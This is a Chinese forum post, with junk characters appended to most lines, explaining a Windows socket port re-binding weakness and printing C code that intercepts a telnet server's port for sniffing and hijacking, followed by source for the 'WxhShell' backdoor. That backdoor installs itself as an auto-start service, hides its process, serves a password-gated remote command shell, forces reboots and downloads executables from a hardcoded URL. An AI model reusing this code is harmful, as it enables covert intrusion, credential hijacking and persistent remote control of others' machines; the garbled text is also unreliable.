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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ^e@c Ozt  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); }/c.>U  
P05_\ t  
  saddr.sin_family = AF_INET; sbK 0OA  
ccD+o$7LT  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Xz]}cRQ[  
7]e]Y>wZap  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 6/4OFvL1  
3kR- WgVF,  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ^Jnp\o>  
hph 3kfR  
  这意味着什么?意味着可以进行如下的攻击: Jq6p5jr"  
p00\C  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Rp`}"x9  
l^$:R~gS  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) PNc200`v4_  
d,<ctd  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 !LIWoa[ F.  
asQ" |]m  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  /SMp`Q88  
S\0"G*  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 :\80*[=;Z  
#S<>+,Lk  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 }GkEv}~t  
nWXI*%m5  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 BOwkC;Q[  
~Ag !wj  
  #include ,?&hqM\  
  #include 00;=6q]TA  
  #include R63"j\0  
  #include    Y}1|/6eJ  
  DWORD WINAPI ClientThread(LPVOID lpParam);   &OI=r vDmo  
  int main() .\U+`>4av  
  { ZLL0 6p   
  WORD wVersionRequested; Nq*\{rb  
  DWORD ret; 0w+hf3K+:  
  WSADATA wsaData; c"O\fX  
  BOOL val; $%1[<}<  
  SOCKADDR_IN saddr; 0A 4(RLGg  
  SOCKADDR_IN scaddr; fd+kr#  
  int err; 8: s3Q`O  
  SOCKET s; Z]SCIU @+  
  SOCKET sc; Nm,v E7M  
  int caddsize; <[~x]-  
  HANDLE mt; Hlz4f+#I  
  DWORD tid;   $wN'mY  
  wVersionRequested = MAKEWORD( 2, 2 ); :eIB K  
  err = WSAStartup( wVersionRequested, &wsaData ); !5A nr  
  if ( err != 0 ) { W{-N,?z  
  printf("error!WSAStartup failed!\n"); f2{4Y)  
  return -1; }WCz*v1Wq  
  } 2o\\qEYg  
  saddr.sin_family = AF_INET; up:e0di{  
   o.Cj+`0}5  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 .mok.f<G_m  
m%Ef]({I  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 2&tGJq-E  
  saddr.sin_port = htons(23); u|QfCwQ  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 6eS#L21*  
  { ,YkQJ$  
  printf("error!socket failed!\n"); @L0wd>  
  return -1; L3<XWpv  
  } hlUF9}  
  val = TRUE; Nju7!yVM_  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 W1: o2 C7  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ,Y`C7Px  
  { ?<nz2 piP,  
  printf("error!setsockopt failed!\n"); |_w*:NCV5  
  return -1; wV-cpJ,}  
  } -TD6s:'  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; "\>3mVOb  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 nmSpNkJ5  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 }VFSF/\^  
c89RuI `B~  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 5mFi)0={y  
  { @EZXPU  
  ret=GetLastError(); g` h>:5]  
  printf("error!bind failed!\n"); + u)'  
  return -1; l|&|+u#  
  } f ~Fus  
  listen(s,2); ^)fB "!s  
  while(1) qA"?5j32  
  { rBny*!n  
  caddsize = sizeof(scaddr); BR0bf5T/  
  //接受连接请求 u@gYEx}  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); =vK(-h  
  if(sc!=INVALID_SOCKET) T.(SBP  
  { F8=6!Qj  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); G4RsH/  
  if(mt==NULL) Yb?#vpI  
  { o&CvjE  
  printf("Thread Creat Failed!\n"); Wc]Fg9E  
  break; F(XWnfUv  
  } ,U7hzBj8k  
  } `nizGg~1  
  CloseHandle(mt); |RjjP 7  
  } R 7{ rY  
  closesocket(s); :ZzG5[o3  
  WSACleanup(); >yWJk9h f  
  return 0; P0z "Eq0S  
  }   zc2,Mn2  
  DWORD WINAPI ClientThread(LPVOID lpParam) yqBu7E$X  
  { Iy,)>V%iZV  
  SOCKET ss = (SOCKET)lpParam; D^TKv;%d  
  SOCKET sc; _n_i*p '2  
  unsigned char buf[4096]; F_21`Hj  
  SOCKADDR_IN saddr; o3W5FHFAv  
  long num; u#P7~9ZG-  
  DWORD val; []Fy[G.)H  
  DWORD ret; ~z'0~3  
  //如果是隐藏端口应用的话,可以在此处加一些判断 t6"4+:c!>  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   t*<c+Ixu  
  saddr.sin_family = AF_INET; 'rF TtT  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 6 XG+YIG6w  
  saddr.sin_port = htons(23); -[7.VP   
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) p5 [uVRZ  
  { -!}1{   
  printf("error!socket failed!\n"); *Z0}0< D@Z  
  return -1; 3{c&%F~!  
  } *FAg^G&1  
  val = 100; N&ddO-r[s  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) HwGtLeB"  
  { jxoEOEA  
  ret = GetLastError(); 9z-"JnM  
  return -1;  ?Z!KV=  
  } sV+>(c-$  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) x[?_F  
  { eU12*(  
  ret = GetLastError(); )l"0:1Ig  
  return -1; L*l( ~t)vF  
  } V*TG%V -  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) b,@:eVQ7  
  { .DX#:?@4@Y  
  printf("error!socket connect failed!\n"); [Dt\E4  
  closesocket(sc);  z7K?rgH  
  closesocket(ss); O@$hG8:  
  return -1; ^Uf`w7"iY  
  } O7K))w  
  while(1) vd ;wQ  
  { _AO0:&  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 lu{}j4  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 :#LB}=HQ  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 /# eBDo  
  num = recv(ss,buf,4096,0); Ltj}>.+  
  if(num>0) l-Xxv  
  send(sc,buf,num,0); [L\w] 6  
  else if(num==0) 0hv[Ff  
  break; !kIw835U  
  num = recv(sc,buf,4096,0); 4v!@9.!vQ  
  if(num>0) :C&?(HJ&r  
  send(ss,buf,num,0); af_zZf!0  
  else if(num==0) 4R0_%x6vG  
  break; zZRqb/20  
  } j[HKC0C6  
  closesocket(ss); 6RF01z|~_  
  closesocket(sc); ENmo^O#,u  
  return 0 ; W`\H3?C`xQ  
  } ~\/ J&  
y#MLxm  
G]SE A  
========================================================== V4"AFArI  
.dygp"*  
下边附上一个代码,,WXhSHELL SB;Wa%  
YU"Am !  
========================================================== 226s:\d  
&l.^UQ   
#include "stdafx.h" @<2pYIi 8  
*p-Fn$7\n  
#include <stdio.h> 7q?Yd AUz  
#include <string.h> < d]|5  
#include <windows.h> kal8k-$#  
#include <winsock2.h> ! Q#b4f  
#include <winsvc.h> xvkof 'Q)  
#include <urlmon.h> yO6i "3  
u7;A`  
#pragma comment (lib, "Ws2_32.lib") Y!`?q8z$G  
#pragma comment (lib, "urlmon.lib") V.4j?\#%  
y >OZ<!`  
#define MAX_USER   100 // 最大客户端连接数 MPB6  
#define BUF_SOCK   200 // sock buffer zZxP= c  
#define KEY_BUFF   255 // 输入 buffer <|8 l;  
}J*&()`  
#define REBOOT     0   // 重启 Cb13Qz  
#define SHUTDOWN   1   // 关机 )_=&)a1U  
dbLX}>  
#define DEF_PORT   5000 // 监听端口 3UaP7p+d  
Z 0:2x(x9  
#define REG_LEN     16   // 注册表键长度 JTI m`t"d=  
#define SVC_LEN     80   // NT服务名长度 . 9 NS  
9j 8t<5s  
// 从dll定义API OBl8kH(b>  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 1D`RR/g&  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); {7wvC)WW  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ky#6M? \  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); e\dT~)c  
N!v@!z9Mu  
// wxhshell配置信息 ArEpH"}@  
struct WSCFG { `8-aHPF-  
  int ws_port;         // 监听端口 !G,$:t1-=V  
  char ws_passstr[REG_LEN]; // 口令 ^Pf&C0xXv  
  int ws_autoins;       // 安装标记, 1=yes 0=no I>xB.$A  
  char ws_regname[REG_LEN]; // 注册表键名 4"2/"D0  
  char ws_svcname[REG_LEN]; // 服务名 =6dKC_Q  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 xsvs3y|  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 HB}gn2 .1&  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 $7r wara  
int ws_downexe;       // 下载执行标记, 1=yes 0=no KH7]`CU  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" <7 rK  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 K4yYNlY  
=gn}_sKNE  
}; +E:(-$"R  
I Q L~I13  
// default Wxhshell configuration HLk"a-+'  
struct WSCFG wscfg={DEF_PORT, aC},h   
    "xuhuanlingzhe", F:g{rm[  
    1, 3azc`[hl  
    "Wxhshell", )eEvyU  
    "Wxhshell", ob7_dWAG  
            "WxhShell Service", 'k67$H  
    "Wrsky Windows CmdShell Service", s,v#lJ]d0W  
    "Please Input Your Password: ", >2:Sv1T  
  1, c 2@@Rd~M  
  "http://www.wrsky.com/wxhshell.exe", vw]nqS~N  
  "Wxhshell.exe" ##@#:B  
    }; 5%`Ul  
~ t H s+  
// 消息定义模块 tb{{oxa,k  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; QT$1D[>  
char *msg_ws_prompt="\n\r? for help\n\r#>"; c #!6  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; $ ddYH  
char *msg_ws_ext="\n\rExit."; >l1Yhxd_0*  
char *msg_ws_end="\n\rQuit."; IpJv\zH7  
char *msg_ws_boot="\n\rReboot..."; O)|4>J*B  
char *msg_ws_poff="\n\rShutdown..."; 0%F.]+6[O4  
char *msg_ws_down="\n\rSave to "; !S!03|  
@qDrTH]5  
char *msg_ws_err="\n\rErr!"; @,&m`qzd+  
char *msg_ws_ok="\n\rOK!"; ?GarD3#A  
D.o|($S0  
char ExeFile[MAX_PATH]; 5Nb_K`Vp*  
int nUser = 0; ehusI-q  
HANDLE handles[MAX_USER]; |w2AB7EU  
int OsIsNt; }# x3IE6'  
g)A0PvEu  
SERVICE_STATUS       serviceStatus; f B96Q  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; mv.I.EL  
RG3G},Q   
// 函数声明 Bqi2n'^O2  
int Install(void); *`-29eR"8  
int Uninstall(void); zjS:;!8em  
int DownloadFile(char *sURL, SOCKET wsh); F\R}no5C  
int Boot(int flag); cOZ^huK  
void HideProc(void); y7-:l u$9  
int GetOsVer(void); J\+gd%  
int Wxhshell(SOCKET wsl); E`n`#=xKR  
void TalkWithClient(void *cs); J_|}Xd)~t6  
int CmdShell(SOCKET sock); "T%'Rp`j|  
int StartFromService(void); p.] .M"A  
int StartWxhshell(LPSTR lpCmdLine); @%nUfG7TQ  
xJLO\B+gM  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); TY\"@(Q|G  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); <57l|}8  
AdW2o|Uap  
// 数据结构和表定义 _0q~s@-  
SERVICE_TABLE_ENTRY DispatchTable[] = 8{fz0H.<?  
{ FqxOHovE  
{wscfg.ws_svcname, NTServiceMain}, &] F|U3  
{NULL, NULL} TDE1z>h+"  
}; X&?lDL7?  
T\!SA  
// 自我安装 _`{{39 F  
int Install(void) 5b`xN!c  
{ %Dls36F  
  char svExeFile[MAX_PATH]; 2 `h!:0  
  HKEY key; B;]5,`#!  
  strcpy(svExeFile,ExeFile); #Rx"L&3Ue  
w LN2`ucC  
// 如果是win9x系统,修改注册表设为自启动 So *Wk "  
if(!OsIsNt) { @1&;R  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0o$HC86w  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); wv.Ul rpx.  
  RegCloseKey(key); s]vJUC,s  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6a?$=y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `ab\i`g9  
  RegCloseKey(key); Y0yO `W4  
  return 0; 5%+bWI{w  
    } pb6^sA%l  
  } *tM7>  
} {&E Z>r-  
else { I/V )z9  
zO5u{  
// 如果是NT以上系统,安装为系统服务 L sDzV)  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); )g:,_1s)|  
if (schSCManager!=0) EhPVK6@  
{ .hlQ?\  
  SC_HANDLE schService = CreateService Gz|%;  
  ( &<V_[Wh"  
  schSCManager, \*%i#]wO@  
  wscfg.ws_svcname, 9X$#x90  
  wscfg.ws_svcdisp, uWB:"&!^  
  SERVICE_ALL_ACCESS, T E&Q6  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , /1W7<']>xV  
  SERVICE_AUTO_START, n *i'vtQ8  
  SERVICE_ERROR_NORMAL, ow+Dd[i  
  svExeFile, y^QYl ZO  
  NULL, A]iv)C;]  
  NULL, -j`!(IJ  
  NULL, Wbn[Q2h5  
  NULL, Q P=[ Vw  
  NULL $JhZ'Z  
  ); Qyv'nx0=  
  if (schService!=0) n;kciTD%wK  
  { ('* *nP  
  CloseServiceHandle(schService); b4)*<Zp`  
  CloseServiceHandle(schSCManager); h lkvk]v  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); (}FW])y  
  strcat(svExeFile,wscfg.ws_svcname); { 0%TMiVf  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ~0F9x9V  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); a()6bRc~T  
  RegCloseKey(key); BgkB x  
  return 0; {Bq"$M!Y  
    } 9]L!.  
  } [7e{=\`=  
  CloseServiceHandle(schSCManager); ;o)=XEh8P  
} ]]uzl0LH  
} :PD`PgQ  
`\ef0  
return 1; Z<N&UFw7QJ  
} P~\a)Szy  
].-J.  
// 自我卸载 prlyaq;4  
int Uninstall(void) G/fP(o-Wd  
{ &,N3uy;Gc  
  HKEY key; (~G5t(+  
gVa+.x]  
if(!OsIsNt) { 3|K=%jr[  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -7k|6"EwM  
  RegDeleteValue(key,wscfg.ws_regname); K$<`4#i  
  RegCloseKey(key); 5%QC ][,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =XMD+  
  RegDeleteValue(key,wscfg.ws_regname); hJ;f1dZ7}  
  RegCloseKey(key); s!@=rq  
  return 0; Txt%nzIu  
  } AB2mt:^  
}  :Hzz{'  
} (:?5 i`  
else { pHj[O?F  
nIyROhZ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); '&-5CpDUs  
if (schSCManager!=0) #QTfT&m+G}  
{ \!UF|mD^tG  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); jr, &=C(  
  if (schService!=0) DJViy  
  { g[EM]q,  
  if(DeleteService(schService)!=0) { @ ],6SKbG6  
  CloseServiceHandle(schService); :BL'>V   
  CloseServiceHandle(schSCManager); I|KY+k> /  
  return 0; s- ,=e  
  } `Di ^6UK(  
  CloseServiceHandle(schService); fiE>H~  
  } z^gQ\\,4  
  CloseServiceHandle(schSCManager); `1fJ:b/M  
} {PODisl>\D  
} W;Ud<7<;Z  
x|@1 wQ" 6  
return 1; V3>f*Z)xn  
} s[G |q5n  
Wl& >6./{  
// 从指定url下载文件 a^*cZ?Ta  
int DownloadFile(char *sURL, SOCKET wsh) <XQN;{xSa  
{ AI1@-  
  HRESULT hr; :DtZ8$I`]C  
char seps[]= "/"; UF&0 & `@  
char *token; Vs_\ykO  
char *file; r6d0x  
char myURL[MAX_PATH]; MzEm*`<  
char myFILE[MAX_PATH]; HGO#e  
!,cQ'*<W8-  
strcpy(myURL,sURL); Z/2,al\  
  token=strtok(myURL,seps); 3]O`[P,*%  
  while(token!=NULL) IL~]m?'V(  
  { /S:w&5e  
    file=token; MU_!&(X_  
  token=strtok(NULL,seps); S}oG.r 9  
  } 7?6xPKQ)H  
5h`m]#YEG  
GetCurrentDirectory(MAX_PATH,myFILE); NuC-qG#  
strcat(myFILE, "\\"); + ,@ FxZl  
strcat(myFILE, file); BFBR/d[&  
  send(wsh,myFILE,strlen(myFILE),0); m b%C}8D  
send(wsh,"...",3,0); W(;x\Nc7  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); zKIGWH=qqm  
  if(hr==S_OK) !oZQ2z~  
return 0; o3Mf:;2cC  
else BZovtm3 E  
return 1; b8rp8'M)  
W|)GV0YM  
} 99<4t$KH  
E% <w5d.lq  
// 系统电源模块 v<L=!-b^  
int Boot(int flag) nd.57@*M  
{ ^I]LoG:  
  HANDLE hToken; P@qMJ}<j  
  TOKEN_PRIVILEGES tkp; H_VEPp,T  
Yo>`h2C4  
  if(OsIsNt) { x&at^Fp  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); CQ@LmTW[  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); $Mdbt o~<  
    tkp.PrivilegeCount = 1; LtC~)R  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; R<"2%oY  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); :lUX5j3  
if(flag==REBOOT) { nN>J*02(  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) <^d!Vzr]  
  return 0; cNe0x2Z$?  
} h,^BC^VU9-  
else { U z"sdi  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ?n)Xw)]  
  return 0; 3^{8_^I  
} }1 $hxfb  
  } 0CT}DQ._^N  
  else { AT"!{Y "H  
if(flag==REBOOT) { ?#d6i$  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) \I?w)CE@R  
  return 0; 9lKn% |=T  
} >xT^RYS  
else { q[-|ZA bbr  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) GxxDY]!  
  return 0; N? M   
} b`$yqi<[  
} 0s1'pA'  
2;8Xz 6T  
return 1; Rv98\VD"  
} 85'nXYN{d  
BWWq4mdb{  
// win9x进程隐藏模块 hw;0t,1  
void HideProc(void) _}D%iJg#  
{ KE<kj$  
aS el* L  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); aYqm0HCT  
  if ( hKernel != NULL ) l09Fn>wa  
  { "u_i[[y  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); jAXR`D  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); cv2]*  
    FreeLibrary(hKernel); 2gt+l?O<PS  
  } <$%ql'=  
9z:K1  
return; :Zza)>l  
} kB o;h.[l  
-LTKpN`[@  
// 获取操作系统版本 ]nQ+nH  
int GetOsVer(void) I"-dTa  
{ #<4--$Xo  
  OSVERSIONINFO winfo; mb&lCd ^-  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); wqUQ"d  
  GetVersionEx(&winfo); k0L] R5W  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) %Uy%kN_&  
  return 1; Av o|v>  
  else E!zX)|Z<  
  return 0; (?vK_{  
} 8!&nKy<Y  
C6|(ktt  
// 客户端句柄模块 uVGa(4u}  
int Wxhshell(SOCKET wsl) [& ^RP,N~  
{ B@ {&<  
  SOCKET wsh; ,of]J|  
  struct sockaddr_in client; yG\UW&P  
  DWORD myID; 1]T|6N?  
/%!~x[BeJ>  
  while(nUser<MAX_USER) e'34Pw!m  
{ Pe}PH I  
  int nSize=sizeof(client); u^=`%)  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); T?n -x?e  
  if(wsh==INVALID_SOCKET) return 1; WWNu:,  
~h! 13!  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); gyev5txn  
if(handles[nUser]==0) rFey4zzz  
  closesocket(wsh); pLnB)z?  
else h./P\eDc  
  nUser++; wO7t!35  
  } 4/'N|c.  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); =\Iu$2r`  
<*<U!J-i  
  return 0; z}+i=cAN  
} RP! X8~8  
)u*^@Wo  
// 关闭 socket GKZN}bOm\  
void CloseIt(SOCKET wsh) ?iv=53<c#  
{ :HRT 2I  
closesocket(wsh); y(5:}x&E  
nUser--; )#C mQXgG  
ExitThread(0); RF?DtNuq  
} w^HjZV  
 Qqc]aVRF  
// 客户端请求句柄 e4\dpvL  
void TalkWithClient(void *cs) ^2S# Uk  
{ Z(e ^iH  
?qmp_2:WU  
  SOCKET wsh=(SOCKET)cs; jn JZ# =)  
  char pwd[SVC_LEN]; :U'Cor H  
  char cmd[KEY_BUFF]; $shp(T,q  
char chr[1]; X:EEPGE  
int i,j; (RE2I  
Q9c)k{QZ  
  while (nUser < MAX_USER) { _Zc4=c,K  
O,s.D,S  
if(wscfg.ws_passstr) { 'c %S!$P  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); F PR`tE  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); D."=k{r.  
  //ZeroMemory(pwd,KEY_BUFF); 19t{|w<  
      i=0; |quij0_'e  
  while(i<SVC_LEN) { F}Srn;V  
X(Qu{HhI  
  // 设置超时 63 2bN=>  
  fd_set FdRead; $SY]fNJQ  
  struct timeval TimeOut; I4t*?  
  FD_ZERO(&FdRead); @MbVWiv  
  FD_SET(wsh,&FdRead); fThgK;Qy'U  
  TimeOut.tv_sec=8; <jA105U"m>  
  TimeOut.tv_usec=0; p?# pT}1  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); nlc.u}#  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); -tLO.JK<  
94/BG0  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3<:jx~y>  
  pwd=chr[0]; eSfnB_@x2  
  if(chr[0]==0xd || chr[0]==0xa) { Y@uh[aS!  
  pwd=0; )C~9E 5E  
  break; Z[?mc|*x  
  } ]Oeh=gq  
  i++; h4)Bs\==mT  
    } 7TX2&kMoc  
xZ.!d.rn  
  // 如果是非法用户,关闭 socket Bp?  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); &7>zURv  
} w7TJv4_  
$B (kZ  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); r!GW= u'  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); N|usFqCNk^  
N ( Oyi  
while(1) { M 4yI`dr6  
vFv3'b$;G  
  ZeroMemory(cmd,KEY_BUFF); ]a'99^?\  
zjl!9M!  
      // 自动支持客户端 telnet标准   W 7sn+g \  
  j=0; [?0d~Q(R#  
  while(j<KEY_BUFF) { i|WQ0fD  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4hs)b  
  cmd[j]=chr[0]; B?bW1  
  if(chr[0]==0xa || chr[0]==0xd) { eWs&J24  
  cmd[j]=0; P8Qyhc  
  break; K.~q+IYP[  
  } 3Q^fVn$tk  
  j++; E_T 2z4lw  
    } ==N{1gO]  
1q7tiMvV-  
  // 下载文件 ino:N5&;;  
  if(strstr(cmd,"http://")) { xc @Ss[  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); =qy@Wvj$  
  if(DownloadFile(cmd,wsh)) `G9 l  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5GzFoy)j>  
  else 3FE(}G  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); soRv1)el  
  } yx38g ca  
  else { c9"r6j2m5  
^h' Sla  
    switch(cmd[0]) { Y f@e=:  
  L{-LX= G^  
  // 帮助 baV>N[F&  
  case '?': { W/$Zvl  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); q*7<)VwI  
    break; PNs~[  
  } 3?I;ovsM  
  // 安装 Pe73g%  
  case 'i': { , t5 '  
    if(Install()) $;N*cH~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,f3pqi9|  
    else j$7|XM6  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); MK #wut  
    break; V~G`kkNy  
    } ED>prE0  
  // 卸载 tJViA`@x  
  case 'r': { n{*D_kM(H  
    if(Uninstall()) dP?Ge}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); fxaJZz$o  
    else "hxN!,DEZ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); HBS\<}  
    break; 4`m~FNVS   
    } CC=d I  
  // 显示 wxhshell 所在路径 Mn1Pt|_@!  
  case 'p': { #G" xNl  
    char svExeFile[MAX_PATH]; O/s $SX%g  
    strcpy(svExeFile,"\n\r"); PXzsj.  
      strcat(svExeFile,ExeFile); *a;@*  
        send(wsh,svExeFile,strlen(svExeFile),0); % 2$/JZ  
    break; P262Q&.}d  
    } H,fZ!8(A_)  
  // 重启 v{zMO:3  
  case 'b': { }/tf>?c  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); X|f7K  
    if(Boot(REBOOT)) ]V l]XT$Um  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); vX0f,y  
    else { &s Pq<lo  
    closesocket(wsh); Z>c3  
    ExitThread(0); gxz-R?.  
    } m7a#qs; ,  
    break; h,aAw#NE*  
    } ryF7  
  // 关机 O/AaYA&  
  case 'd': { xsd_Uu*  
